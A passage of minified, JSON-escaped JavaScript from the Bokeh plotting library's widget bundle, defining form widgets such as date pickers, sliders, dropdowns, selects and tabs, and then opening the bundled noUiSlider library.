i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CheckboxGroup\\\",this.prototype.default_view=s,this.define({active:[r.Array,[]],labels:[r.Array,[]],inline:[r.Bool,!1],callback:[r.Instance]})},t}(o.Widget);(n.CheckboxGroup=a).initClass()},408:function(t,e,n){var i=t(391),r=t(414),o=t(5),s=t(15),a=t(432);a.prototype.adjustPosition=function(){if(!this._o.container){this.el.style.position=\\\"absolute\\\";var t=this._o.trigger,e=this.el.offsetWidth,n=this.el.offsetHeight,i=window.innerWidth||document.documentElement.clientWidth,r=window.innerHeight||document.documentElement.clientHeight,o=window.pageYOffset||document.body.scrollTop||document.documentElement.scrollTop,s=t.getBoundingClientRect(),a=s.left+window.pageXOffset,l=s.bottom+window.pageYOffset;a-=this.el.parentElement.offsetLeft,l-=this.el.parentElement.offsetTop,(this._o.reposition&&i<a+e||-1<this._o.position.indexOf(\\\"right\\\")&&0<a-e+t.offsetWidth)&&(a=a-e+t.offsetWidth),(this._o.reposition&&r+o<l+n||-1<this._o.position.indexOf(\\\"top\\\")&&0<l-n-t.offsetHeight)&&(l=l-n-t.offsetHeight),this.el.style.left=a+\\\"px\\\",this.el.style.top=l+\\\"px\\\"}};var l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-widget-form-group\\\")},e.prototype.render=function(){var e=this;t.prototype.render.call(this),null!=this._picker&&this._picker.destroy(),o.empty(this.el),this.labelEl=o.label({},this.model.title),this.el.appendChild(this.labelEl),this.inputEl=o.input({type:\\\"text\\\",class:\\\"bk-widget-form-input\\\",disabled:this.model.disabled}),this.el.appendChild(this.inputEl),this._picker=new a({field:this.inputEl,defaultDate:new Date(this.model.value),setDefaultDate:!0,minDate:null!=this.model.min_date?new Date(this.model.min_date):void 0,maxDate:null!=this.model.max_date?new Date(this.model.max_date):void 0,onSelect:function(t){return e._on_select(t)}}),this._root_element.appendChild(this._picker.el)},e.prototype._on_select=function(t){this.model.value=t.toDateString(),this.change_input()},e}(r.InputWidgetView);n.DatePickerView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatePicker\\\",this.prototype.default_view=l,this.define({value:[s.Any,(new Date).toDateString()],min_date:[s.Any],max_date:[s.Any]})},t}(r.InputWidget);(n.DatePicker=u).initClass()},409:function(t,e,n){var i=t(391),r=t(390),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:this.model.value,step:this.model.step}},e.prototype._calc_from=function(t){return t},e}(o.AbstractSliderView);n.DateRangeSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"drag\\\",e.connected=[!1,!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"DateRangeSlider\\\",this.prototype.default_view=s,this.override({format:\\\"%d %b %Y\\\"})},t.prototype._formatter=function(t,e){return r(t,e)},t}(o.AbstractSlider);(n.DateRangeSlider=a).initClass()},410:function(t,e,n){var i=t(391),r=t(390),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:[this.model.value],step:this.model.step}},e.prototype._calc_from=function(t){var e=t[0];return e},e}(o.AbstractSliderView);n.DateSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"tap\\\",e.connected=[!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"DateSlider\\\",this.prototype.default_view=s,this.override({format:\\\"%d %b %Y\\\"})},t.prototype._formatter=function(t,e){return r(t,e)},t}(o.AbstractSlider);(n.DateSlider=a).initClass()},411:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.div();this.model.render_as_text?t.textContent=this.model.text:t.innerHTML=this.model.text,this.markupEl.appendChild(t)},t}(r.MarkupView);n.DivView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Div\\\",this.prototype.default_view=a,this.define({render_as_text:[s.Bool,!1]})},t}(r.Markup);(n.Div=l).initClass()},412:function(t,e,n){var i=t(391),h=t(5),r=t(400),o=t(15),s=t(401),a=function(d){function t(){return null!==d&&d.apply(this,arguments)||this}return i.__extends(t,d),t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),r.clear_menus.connect(function(){return t._clear_menu()})},t.prototype.render=function(){var e=this;if(d.prototype.render.call(this),this.model.is_split_button){this.el.classList.add(\\\"bk-bs-btn-group\\\");var t=this._render_button(h.span({class:\\\"bk-bs-caret\\\"}));t.classList.add(\\\"bk-bs-dropdown-toggle\\\"),t.addEventListener(\\\"click\\\",function(t){return e._caret_click(t)}),this.el.appendChild(t)}else this.el.classList.add(\\\"bk-bs-dropdown\\\"),this.buttonEl.classList.add(\\\"bk-bs-dropdown-toggle\\\"),this.buttonEl.appendChild(h.span({class:\\\"bk-bs-caret\\\"}));this.model.active&&this.el.classList.add(\\\"bk-bs-open\\\");for(var n=[],i=0,r=this.model.menu;i<r.length;i++){var o=r[i],s=void 0;if(null!=o){var a=o[0],l=o[1],u=h.a({},a);u.dataset.value=l,u.addEventListener(\\\"click\\\",function(t){return e._item_click(t)}),s=h.li({},u)}else s=h.li({class:\\\"bk-bs-divider\\\"});n.push(s)}var c=h.ul({class:\\\"bk-bs-dropdown-menu\\\"},n);this.el.appendChild(c)},t.prototype._clear_menu=function(){this.model.active=!1},t.prototype._toggle_menu=function(){var t=this.model.active;r.clear_menus.emit(),t||(this.model.active=!0)},t.prototype._button_click=function(t){t.preventDefault(),t.stopPropagation(),this.model.is_split_button?(this._clear_menu(),this.set_value(this.model.default_value)):this._toggle_menu()},t.prototype._caret_click=function(t){t.preventDefault(),t.stopPropagation(),this._toggle_menu()},t.prototype._item_click=function(t){t.preventDefault(),this._clear_menu(),this.set_value(t.currentTarget.dataset.value)},t.prototype.set_value=function(t){this.buttonEl.value=this.model.value=t,this.change_input()},t}(s.AbstractButtonView);n.DropdownView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Dropdown\\\",this.prototype.default_view=a,this.define({value:[o.String],default_value:[o.String],menu:[o.Array,[]]}),this.override({label:\\\"Dropdown\\\"}),this.internal({active:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"is_split_button\\\",{get:function(){return null!=this.default_value},enumerable:!0,configurable:!0}),t}(s.AbstractButton);(n.Dropdown=l).initClass()},413:function(t,e,n){var i=t(401);n.AbstractButton=i.AbstractButton;var r=t(402);n.AbstractIcon=r.AbstractIcon;var o=t(404);n.AutocompleteInput=o.AutocompleteInput;var s=t(405);n.Button=s.Button;var a=t(406);n.CheckboxButtonGroup=a.CheckboxButtonGroup;var l=t(407);n.CheckboxGroup=l.CheckboxGroup;var u=t(408);n.DatePicker=u.DatePicker;var c=t(409);n.DateRangeSlider=c.DateRangeSlider;var d=t(410);n.DateSlider=d.DateSlider;var h=t(411);n.Div=h.Div;var p=t(412);n.Dropdown=p.Dropdown;var f=t(414);n.InputWidget=f.InputWidget;var m=t(416);n.Markup=m.Markup;var v=t(417);n.MultiSelect=v.MultiSelect;var g=t(418);n.Panel=g.Panel;var y=t(419);n.Paragraph=y.Paragraph;var b=t(420);n.PasswordInput=b.PasswordInput;var _=t(421);n.PreText=_.PreText;var w=t(422);n.RadioButtonGroup=w.RadioButtonGroup;var x=t(423);n.RadioGroup=x.RadioGroup;var k=t(424);n.RangeSlider=k.RangeSlider;var S=t(425);n.Select=S.Select;var C=t(426);n.Slider=C.Slider;var E=t(427);n.Tabs=E.Tabs;var D=t(428);n.TextInput=D.TextInput;var M=t(429);n.Toggle=M.Toggle;var A=t(440);n.Widget=A.Widget},414:function(t,e,n){var i=t(391),r=t(440),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.change_input=function(){null!=this.model.callback&&this.model.callback.execute(this.model)},e}(r.WidgetView);n.InputWidgetView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"InputWidget\\\",this.prototype.default_view=s,this.define({title:[o.String,\\\"\\\"],callback:[o.Instance]})},t}(r.Widget);(n.InputWidget=a).initClass()},415:function(t,e,n){var i=t(413);n.Widgets=i;var r=t(0);r.register_models(i)},416:function(t,e,n){var i=t(391),r=t(15),o=t(5),s=t(440),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){e.prototype.render.call(this),o.empty(this.el);var t=i.__assign({width:this.model.width+\\\"px\\\",height:this.model.height+\\\"px\\\"},this.model.style);this.markupEl=o.div({style:t}),this.el.appendChild(this.markupEl)},t}(s.WidgetView);n.MarkupView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Markup\\\",this.define({text:[r.String,\\\"\\\"],style:[r.Any,{}]})},t}(s.Widget);(n.Markup=l).initClass()},417:function(t,e,n){var i=t(391),r=t(5),s=t(44),a=t(29),o=t(15),l=t(414),u=function(o){function t(){return null!==o&&o.apply(this,arguments)||this}return i.__extends(t,o),t.prototype.initialize=function(t){o.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;o.prototype.connect_signals.call(this),this.connect(this.model.properties.value.change,function(){return t.render_selection()}),this.connect(this.model.properties.options.change,function(){return t.render()}),this.connect(this.model.properties.name.change,function(){return t.render()}),this.connect(this.model.properties.title.change,function(){return t.render()}),this.connect(this.model.properties.size.change,function(){return t.render()}),this.connect(this.model.properties.disabled.change,function(){return t.render()})},t.prototype.render=function(){var t=this;o.prototype.render.call(this),r.empty(this.el);var e=r.label({for:this.model.id},this.model.title);this.el.appendChild(e);var n=this.model.options.map(function(t){var e,n;return s.isString(t)?e=n=t:(e=t[0],n=t[1]),r.option({value:e},n)});this.selectEl=r.select({multiple:!0,class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,disabled:this.model.disabled},n),this.selectEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.selectEl),this.render_selection()},t.prototype.render_selection=function(){for(var t=new a.Set(this.model.value),e=0,n=Array.from(this.el.querySelectorAll(\\\"option\\\"));e<n.length;e++){var i=n[e];i.selected=t.has(i.value)}this.selectEl.size=this.model.size},t.prototype.change_input=function(){for(var t=null!=this.el.querySelector(\\\"select:focus\\\"),e=[],n=0,i=Array.from(this.el.querySelectorAll(\\\"option\\\"));n<i.length;n++){var r=i[n];r.selected&&e.push(r.value)}this.model.value=e,o.prototype.change_input.call(this),t&&this.selectEl.focus()},t}(l.InputWidgetView);n.MultiSelectView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiSelect\\\",this.prototype.default_view=u,this.define({value:[o.Array,[]],options:[o.Array,[]],size:[o.Number,4]})},t}(l.InputWidget);(n.MultiSelect=c).initClass()},418:function(t,e,n){var i=t(391),r=t(440),o=t(15),s=t(5),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),s.empty(this.el)},e}(r.WidgetView);n.PanelView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Panel\\\",this.prototype.default_view=a,this.define({title:[o.String,\\\"\\\"],child:[o.Instance],closable:[o.Bool,!1]})},t}(r.Widget);(n.Panel=l).initClass()},419:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.p({style:{margin:0}},this.model.text);this.markupEl.appendChild(t)},t}(r.MarkupView);n.ParagraphView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Paragraph\\\",this.prototype.default_view=s},t}(r.Markup);(n.Paragraph=a).initClass()},420:function(t,e,n){var i=t(391),r=t(428),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.inputEl.type=\\\"password\\\"},e}(r.TextInputView);n.PasswordInputView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PasswordInput\\\",this.prototype.default_view=o},t}(r.TextInput);(n.PasswordInput=s).initClass()},421:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.pre({style:{overflow:\\\"auto\\\"}},this.model.text);this.markupEl.appendChild(t)},t}(r.MarkupView);n.PreTextView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PreText\\\",this.prototype.default_view=s},t}(r.Markup);(n.PreText=a).initClass()},422:function(t,e,n){var i=t(391),c=t(5),d=t(38),r=t(15),o=t(440),s=function(u){function t(){return null!==u&&u.apply(this,arguments)||this}return i.__extends(t,u),t.prototype.initialize=function(t){u.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;u.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;u.prototype.render.call(this),c.empty(this.el);var e=c.div({class:\\\"bk-bs-btn-group\\\"});this.el.appendChild(e);for(var n=d.uniqueId(),i=this.model.active,r=this.model.labels,o=0;o<r.length;o++){var s=r[o],a=c.input({type:\\\"radio\\\",name:n,value:\\\"\\\"+o,checked:o==i});a.addEventListener(\\\"change\\\",function(){return t.change_input()});var l=c.label({class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+this.model.button_type]},a,s);o==i&&l.classList.add(\\\"bk-bs-active\\\"),e.appendChild(l)}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e[0],null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.RadioButtonGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"RadioButtonGroup\\\",this.prototype.default_view=s,this.define({active:[r.Any,null],labels:[r.Array,[]],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(o.Widget);(n.RadioButtonGroup=a).initClass()},423:function(t,e,n){var i=t(391),c=t(5),d=t(38),r=t(15),o=t(440),s=function(u){function t(){return null!==u&&u.apply(this,arguments)||this}return i.__extends(t,u),t.prototype.initialize=function(t){u.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;u.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;u.prototype.render.call(this),c.empty(this.el);for(var e=d.uniqueId(),n=this.model.active,i=this.model.labels,r=0;r<i.length;r++){var o=i[r],s=c.input({type:\\\"radio\\\",name:e,value:\\\"\\\"+r});s.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.model.disabled&&(s.disabled=!0),r==n&&(s.checked=!0);var a=c.label({},s,o);if(this.model.inline)a.classList.add(\\\"bk-bs-radio-inline\\\"),this.el.appendChild(a);else{var l=c.div({class:\\\"bk-bs-radio\\\"},a);this.el.appendChild(l)}}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e[0],null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.RadioGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"RadioGroup\\\",this.prototype.default_view=s,this.define({active:[r.Any,null],labels:[r.Array,[]],inline:[r.Bool,!1],callback:[r.Instance]})},t}(o.Widget);(n.RadioGroup=a).initClass()},424:function(t,e,n){var i=t(391),r=t(361),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:this.model.value,step:this.model.step}},e.prototype._calc_from=function(t){return t},e}(o.AbstractSliderView);n.RangeSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"drag\\\",e.connected=[!1,!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"RangeSlider\\\",this.prototype.default_view=s,this.override({format:\\\"0[.]00\\\"})},t.prototype._formatter=function(t,e){return r.format(t,e)},t}(o.AbstractSlider);(n.RangeSlider=a).initClass()},425:function(t,e,n){var i=t(391),a=t(5),l=t(44),r=t(14),o=t(15),s=t(414),u=function(s){function t(){return null!==s&&s.apply(this,arguments)||this}return i.__extends(t,s),t.prototype.initialize=function(t){s.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;s.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.build_options=function(t){var r=this;return t.map(function(t){var e,n;l.isString(t)?e=n=t:(e=t[0],n=t[1]);var i=r.model.value==e;return a.option({selected:i,value:e},n)})},t.prototype.render=function(){var t=this;s.prototype.render.call(this),a.empty(this.el);var e,n=a.label({for:this.model.id},this.model.title);if(this.el.appendChild(n),l.isArray(this.model.options))e=this.build_options(this.model.options);else{e=[];var i=this.model.options;for(var r in i){var o=i[r];e.push(a.optgroup({label:r},this.build_options(o)))}}this.selectEl=a.select({class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,disabled:this.model.disabled},e),this.selectEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.selectEl)},t.prototype.change_input=function(){var t=this.selectEl.value;r.logger.debug(\\\"selectbox: value = \\\"+t),this.model.value=t,s.prototype.change_input.call(this)},t}(s.InputWidgetView);n.SelectView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Select\\\",this.prototype.default_view=u,this.define({value:[o.String,\\\"\\\"],options:[o.Any,[]]})},t}(s.InputWidget);(n.Select=c).initClass()},426:function(t,e,n){var i=t(391),r=t(361),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:[this.model.value],step:this.model.step}},e.prototype._calc_from=function(t){var e=t[0];return Number.isInteger(this.model.start)&&Number.isInteger(this.model.end)&&Number.isInteger(this.model.step)?Math.round(e):e},e}(o.AbstractSliderView);n.SliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"tap\\\",e.connected=[!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"Slider\\\",this.prototype.default_view=s,this.override({format:\\\"0[.]00\\\"})},t.prototype._formatter=function(t,e){return r.format(t,e)},t}(o.AbstractSlider);(n.Slider=a).initClass()},427:function(t,e,n){var i=t(391),h=t(5),p=t(21),r=t(15),o=t(440),s=function(d){function t(){return null!==d&&d.apply(this,arguments)||this}return i.__extends(t,d),t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),this.connect(this.model.properties.tabs.change,function(){return t.rebuild_child_views()}),this.connect(this.model.properties.active.change,function(){return t.render()})},t.prototype.render=function(){var r=this;d.prototype.render.call(this),h.empty(this.el);var t=this.model.tabs.length;if(0!=t){this.model.active>=t&&(this.model.active=t-1);var o=this.model.tabs.map(function(t,e){return h.li({},h.span({data:{index:e}},t.title))});o[this.model.active].classList.add(\\\"bk-bs-active\\\");var e=h.ul({class:[\\\"bk-bs-nav\\\",\\\"bk-bs-nav-tabs\\\"]},o);this.el.appendChild(e);var s=this.model.tabs.map(function(t){return h.div({class:\\\"bk-bs-tab-pane\\\"})});s[this.model.active].classList.add(\\\"bk-bs-active\\\");var n=h.div({class:\\\"bk-bs-tab-content\\\"},s);this.el.appendChild(n),e.addEventListener(\\\"click\\\",function(t){if(t.preventDefault(),t.target!=t.currentTarget){var e=t.target,n=r.model.active,i=parseInt(e.dataset.index);n!=i&&(o[n].classList.remove(\\\"bk-bs-active\\\"),s[n].classList.remove(\\\"bk-bs-active\\\"),o[i].classList.add(\\\"bk-bs-active\\\"),s[i].classList.add(\\\"bk-bs-active\\\"),r.model.active=i,null!=r.model.callback&&r.model.callback.execute(r.model))}});for(var i=0,a=p.zip(this.model.children,s);i<a.length;i++){var l=a[i],u=l[0],c=l[1];c.appendChild(this.child_views[u.id].el)}}},t}(o.WidgetView);n.TabsView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tabs\\\",this.prototype.default_view=s,this.define({tabs:[r.Array,[]],active:[r.Number,0],callback:[r.Instance]})},t.prototype.get_layoutable_children=function(){return this.children},Object.defineProperty(t.prototype,\\\"children\\\",{get:function(){return this.tabs.map(function(t){return t.child})},enumerable:!0,configurable:!0}),t}(o.Widget);(n.Tabs=a).initClass()},428:function(t,e,n){var i=t(391),r=t(14),o=t(15),s=t(5),a=t(414),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.css_classes=function(){return n.prototype.css_classes.call(this).concat(\\\"bk-widget-form-group\\\")},t.prototype.render=function(){var t=this;n.prototype.render.call(this),s.empty(this.el);var e=s.label({for:this.model.id},this.model.title);this.el.appendChild(e),this.inputEl=s.input({type:\\\"text\\\",class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,value:this.model.value,disabled:this.model.disabled,placeholder:this.model.placeholder}),this.inputEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.inputEl),this.model.height&&(this.inputEl.style.height=this.model.height-35+\\\"px\\\")},t.prototype.change_input=function(){var t=this.inputEl.value;r.logger.debug(\\\"widget/text_input: value = \\\"+t),this.model.value=t,n.prototype.change_input.call(this)},t}(a.InputWidgetView);n.TextInputView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextInput\\\",this.prototype.default_view=l,this.define({value:[o.String,\\\"\\\"],placeholder:[o.String,\\\"\\\"]})},t}(a.InputWidget);(n.TextInput=u).initClass()},429:function(t,e,n){var i=t(391),r=t(401),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.model.active&&this.buttonEl.classList.add(\\\"bk-bs-active\\\")},e.prototype.change_input=function(){this.model.active=!this.model.active,t.prototype.change_input.call(this)},e}(r.AbstractButtonView);n.ToggleView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Toggle\\\",this.prototype.default_view=s,this.define({active:[o.Bool,!1]}),this.override({label:\\\"Toggle\\\"})},t}(r.AbstractButton);(n.Toggle=a).initClass()},440:function(t,e,n){var i=t(391),r=t(157),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-widget\\\")},e.prototype.render=function(){this._render_classes(),null!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),null!=this.model.width&&(this.el.style.width=this.model.width+\\\"px\\\")},e.prototype.get_width=function(){throw new Error(\\\"unused\\\")},e.prototype.get_height=function(){throw new Error(\\\"unused\\\")},e}(r.LayoutDOMView);n.WidgetView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Widget\\\"},t}(r.LayoutDOM);(n.Widget=s).initClass()},431:function(t,e,n){\\n\",\n       \"      /*! nouislider - 10.1.0 - 2017-07-28 17:11:18 */var i;i=function(){\\\"use strict\\\";var $=\\\"10.1.0\\\";function Q(t){t.preventDefault()}function r(t){return\\\"number\\\"==typeof t&&!isNaN(t)&&isFinite(t)}function Z(t,e,n){0<n&&(et(t,e),setTimeout(function(){nt(t,e)},n))}function tt(t){return Array.isArray(t)?t:[t]}function e(t){var e=(t=String(t)).split(\\\".\\\");return 1<e.length?e[1].length:0}function et(t,e){t.classList?t.classList.add(e):t.className+=\\\" \\\"+e}function nt(t,e){t.classList?t.classList.remove(e):t.className=t.className.replace(new RegExp(\\\"(^|\\\\\\\\b)\\\"+e.split(\\\" \\\").join(\\\"|\\\")+\\\"(\\\\\\\\b|$)\\\",\\\"gi\\\"),\\\" \\\")}function it(t){var e=void 0!==window.pageXOffset,n=\\\"CSS1Compat\\\"===(t.compatMode||\\\"\\\"),i=e?window.pageXOffset:n?t.documentElement.scrollLeft:t.body.scrollLeft,r=e?window.pageYOffset:n?t.documentElement.scrollTop:t.body.scrollTop;return{x:i,y:r}}function c(t,e){return 100/(e-t)}function d(t,e){return 100*e/(t[1]-t[0])}function h(t,e){for(var n=1;t>=e[n];)n+=1;return n}function n(t,e,n){if(n>=t.slice(-1)[0])return 100;var i,r,o,s,a,l,u=h(n,t);return i=t[u-1],r=t[u],o=e[u-1],s=e[u],o+(l=n,d(a=[i,r],a[0]<0?l+Math.abs(a[0]):l-a[0])/c(o,s))}function i(t,e,n,i){if(100===i)return i;var r,o,s,a,l=h(i,t);return n?(r=t[l-1],((o=t[l])-r)/2<i-r?o:r):e[l-1]?t[l-1]+(s=i-t[l-1],a=e[l-1],Math.round(s/a)*a):i}function o(t,e,n){var i;if(\\\"number\\\"==typeof e&&(e=[e]),\\\"[object Array]\\\"!==Object.prototype.toString.call(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' contains invalid value.\\\");if(!r(i=\\\"min\\\"===t?0:\\\"max\\\"===t?100:parseFloat(t))||!r(e[0]))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' value isn't numeric.\\\");n.xPct.push(i),n.xVal.push(e[0]),i?n.xSteps.push(!isNaN(e[1])&&e[1]):isNaN(e[1])||(n.xSteps[0]=e[1]),n.xHighestCompleteStep.push(0)}function s(t,e,n){if(!e)return!0;n.xSteps[t]=d([n.xVal[t],n.xVal[t+1]],e)/c(n.xPct[t],n.xPct[t+1]);var i=(n.xVal[t+1]-n.xVal[t])/n.xNumSteps[t],r=Math.ceil(Number(i.toFixed(3))-1),o=n.xVal[t]+n.xNumSteps[t]*r;n.xHighestCompleteStep[t]=o}function a(t,e,n){this.xPct=[],this.xVal=[],this.xSteps=[n||!1],this.xNumSteps=[!1],this.xHighestCompleteStep=[],this.snap=e;var i,r=[];for(i in t)t.hasOwnProperty(i)&&r.push([t[i],i]);for(r.length&&\\\"object\\\"==typeof r[0][0]?r.sort(function(t,e){return t[0][0]-e[0][0]}):r.sort(function(t,e){return t[0]-e[0]}),i=0;i<r.length;i++)o(r[i][1],r[i][0],this);for(this.xNumSteps=this.xSteps.slice(0),i=0;i<this.xNumSteps.length;i++)s(i,this.xNumSteps[i],this)}a.prototype.getMargin=function(t){var e=this.xNumSteps[0];if(e&&t/e%1!=0)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit', 'margin' and 'padding' must be divisible by step.\\\");return 2===this.xPct.length&&d(this.xVal,t)},a.prototype.toStepping=function(t){return t=n(this.xVal,this.xPct,t)},a.prototype.fromStepping=function(t){return function(t,e,n){if(100<=n)return t.slice(-1)[0];var i,r,o,s,a,l=h(n,e);return i=t[l-1],r=t[l],o=e[l-1],s=e[l],a=[i,r],(n-o)*c(o,s)*(a[1]-a[0])/100+a[0]}(this.xVal,this.xPct,t)},a.prototype.getStep=function(t){return t=i(this.xPct,this.xSteps,this.snap,t)},a.prototype.getNearbySteps=function(t){var e=h(t,this.xPct);return{stepBefore:{startValue:this.xVal[e-2],step:this.xNumSteps[e-2],highestStep:this.xHighestCompleteStep[e-2]},thisStep:{startValue:this.xVal[e-1],step:this.xNumSteps[e-1],highestStep:this.xHighestCompleteStep[e-1]},stepAfter:{startValue:this.xVal[e-0],step:this.xNumSteps[e-0],highestStep:this.xHighestCompleteStep[e-0]}}},a.prototype.countStepDecimals=function(){var t=this.xNumSteps.map(e);return Math.max.apply(null,t)},a.prototype.convert=function(t){return this.getStep(this.toStepping(t))};var l={to:function(t){return void 0!==t&&t.toFixed(2)},from:Number};function u(t){if(\\\"object\\\"==typeof(e=t)&&\\\"function\\\"==typeof e.to&&\\\"function\\\"==typeof e.from)return!0;var e;throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'format' requires 'to' and 'from' methods.\\\")}function p(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'step' is not numeric.\\\");t.singleStep=e}function f(t,e){if(\\\"object\\\"!=typeof e||Array.isArray(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' is not an object.\\\");if(void 0===e.min||void 0===e.max)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): Missing 'min' or 'max' in 